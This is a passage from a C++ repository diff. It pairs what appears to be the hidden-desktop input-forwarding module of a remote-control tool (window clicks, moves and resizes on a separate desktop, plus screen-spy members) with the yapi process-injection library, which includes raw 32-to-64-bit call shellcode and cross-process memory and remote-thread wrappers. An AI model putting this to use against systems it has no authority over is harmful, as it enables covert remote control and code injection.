MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide
+915
View File
@@ -0,0 +1,915 @@
/*
yapi -- Yet Another Process Injector / Your API
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
This library is released under the MIT License.
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
*/
#pragma once
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <tchar.h>
#include <vector>
#include <string>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include <TlHelp32.h>
namespace detail {
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
inline BOOL Is64BitOS()
{
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
}
static const BOOL is64BitOS = Is64BitOS();
struct GCBase
{
virtual DWORD64 toDWORD64() = 0;
virtual void gc() = 0;
};
struct GCHelper
{
~GCHelper() {
for (size_t i = 0; i < _ptrs.size(); i++) {
_ptrs[i]->gc();
delete _ptrs[i];
}
}
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
private:
std::vector<GCBase*> _ptrs;
};
}
namespace yapi {
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
#ifndef UNICODE
static std::string _W2T(const wchar_t* wcs)
{
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
std::string ret(len, 0);
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
ret.resize(len - 1);
return ret;
}
#else
#define _W2T(str) std::wstring(str)
#endif
#define REPEAT_0(macro)
#define REPEAT_1(macro) REPEAT_0(macro)
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
#define END_MACRO_0(macro)
#define END_MACRO_1(macro) macro(1)
#define END_MACRO_2(macro) macro(2)
#define END_MACRO_3(macro) macro(3)
#define END_MACRO_4(macro) macro(4)
#define END_MACRO_5(macro) macro(5)
#define END_MACRO_6(macro) macro(6)
#define END_MACRO_7(macro) macro(7)
#define END_MACRO_8(macro) macro(8)
#define END_MACRO_9(macro) macro(9)
#define END_MACRO_10(macro) macro(10)
#define END_MACRO_11(macro) macro(11)
#define END_MACRO_12(macro) macro(12)
#define END_MACRO_13(macro) macro(13)
#define END_MACRO_14(macro) macro(14)
#define END_MACRO_15(macro) macro(15)
#define END_MACRO_16(macro) macro(16)
#define END_MACRO_17(macro) macro(17)
#define END_MACRO_18(macro) macro(18)
#define END_MACRO_19(macro) macro(19)
#define END_MACRO_20(macro) macro(20)
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
#define __ARG(n) P ## n
#define __PARAM(n) p ## n
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
#define TEMPLATE_ARG(n) typename __ARG(n)
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
#define ARG_DECL(n) __ARG_DECL(n) ,
#define END_ARG_DECL(n) __ARG_DECL(n)
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
namespace {
template <class T>
struct _UNICODE_STRING_T {
union {
struct {
WORD Length;
WORD MaximumLength;
};
T dummy;
};
T Buffer;
};
template <typename T>
struct _LIST_ENTRY_T {
T Flink;
T Blink;
};
template <typename T>
struct _PEB_T {
T dummy01;
T Mutant;
T ImageBaseAddress;
T Ldr;
// omit unused fields
};
typedef _PEB_T<DWORD> PEB32;
typedef _PEB_T<DWORD64> PEB64;
typedef struct _PROCESS_BASIC_INFORMATION32 {
NTSTATUS ExitStatus;
UINT32 PebBaseAddress;
UINT32 AffinityMask;
UINT32 BasePriority;
UINT32 UniqueProcessId;
UINT32 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION32;
typedef struct _PROCESS_BASIC_INFORMATION64 {
NTSTATUS ExitStatus;
UINT32 Reserved0;
UINT64 PebBaseAddress;
UINT64 AffinityMask;
UINT32 BasePriority;
UINT32 Reserved1;
UINT64 UniqueProcessId;
UINT64 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION64;
template <class T>
struct _PEB_LDR_DATA_T {
DWORD Length;
DWORD Initialized;
T SsHandle;
_LIST_ENTRY_T<T> InLoadOrderModuleList;
// omit unused fields
};
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
template <class T>
struct _LDR_DATA_TABLE_ENTRY_T {
_LIST_ENTRY_T<T> InLoadOrderLinks;
_LIST_ENTRY_T<T> InMemoryOrderLinks;
_LIST_ENTRY_T<T> InInitializationOrderLinks;
T DllBase;
T EntryPoint;
union {
DWORD SizeOfImage;
T dummy01;
};
_UNICODE_STRING_T<T> FullDllName;
_UNICODE_STRING_T<T> BaseDllName;
// omit unused fields
};
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
size_t tcslen(const char* str) { return strlen(str); }
size_t tcslen(const wchar_t* str) { return wcslen(str); }
}
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
#ifdef _WIN64
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle, ULONG ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32 * ReturnLength);
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
#else
namespace {
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32* ReturnLength);
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
HANDLE ProcessHandle, PVOID64 BaseAddress,
PVOID BufferData, UINT64 BufferLength,
PUINT64 ReturnLength);
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
}
#endif
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
if (hSnap == INVALID_HANDLE_VALUE) return 0;
MODULEENTRY32 mod = { sizeof(mod) };
if (Module32First(hSnap, &mod)) {
do {
if (!_tcsicmp(mod.szModule, moduleName)) {
CloseHandle(hSnap);
return (DWORD64)mod.hModule;
}
} while (Module32Next(hSnap, &mod));
}
CloseHandle(hSnap);
return 0;
}
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
IMAGE_DOS_HEADER idh;
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS32 inh;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
#endif
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
const int ProcessBasicInformation = 0;
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB64 peb;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB_LDR_DATA64 ldr;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
if (!NT_SUCCESS(status)) return 0;
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
LDR_DATA_TABLE_ENTRY64 head;
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
do {
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
if (!NT_SUCCESS(status)) continue;
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
if (!NT_SUCCESS(status)) continue;
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
return head.DllBase;
} while (head.InLoadOrderLinks.Flink != LastEntry);
return 0;
}
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64ReadVirtualMemory64) return 0;
#endif
IMAGE_DOS_HEADER idh;
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS64 inh;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 GetNtDll64()
{
static DWORD64 hNtdll64 = 0;
if(hNtdll64) return hNtdll64;
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
return hNtdll64;
}
#ifdef _WIN64
#define SetLastError64 SetLastError
#define VirtualQueryEx64 VirtualQueryEx
#define VirtualAllocEx64 VirtualAllocEx
#define VirtualFreeEx64 VirtualFreeEx
#define VirtualProtectEx64 VirtualProtectEx
#define ReadProcessMemory64 ReadProcessMemory
#define WriteProcessMemory64 WriteProcessMemory
#define LoadLibrary64 LoadLibrary
#define CreateRemoteThread64 CreateRemoteThread
#else
namespace {
#define _(x) __asm __emit (x)
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
{
// see X64Call_disassemble for details
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
}
#undef _
}
class X64Call
{
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(const char_t* v) : name(0) {
name = new _UNICODE_STRING_T<DWORD64>;
name->Buffer = (DWORD64)v;
name->Length = (WORD)tcslen(v) * sizeof(char_t);
name->MaximumLength = name->Length;
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
private:
_UNICODE_STRING_T<DWORD64>* name;
};
template<typename T>
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
return DWORD64(v);
}
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
private:
DWORD64 func;
public:
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
operator DWORD64() { return func; }
DWORD64 operator()() { return func && x64Call(func, 0); }
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
#undef CALLERS
#undef END_TO_DWORD64_DECL
#undef TO_DWORD64_DECL
#undef __TO_DWORD64_DECL
};
inline VOID WINAPI SetLastError64(DWORD64 status)
{
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
}
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
{
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
if (!NtQueryVirtualMemory) return 0;
DWORD64 ret = 0;
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
if (!status) return (SIZE_T)ret;
SetLastError64(ret);
return FALSE;
}
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
if (!ret) return tmpAddr;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
if (!NtFreeVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
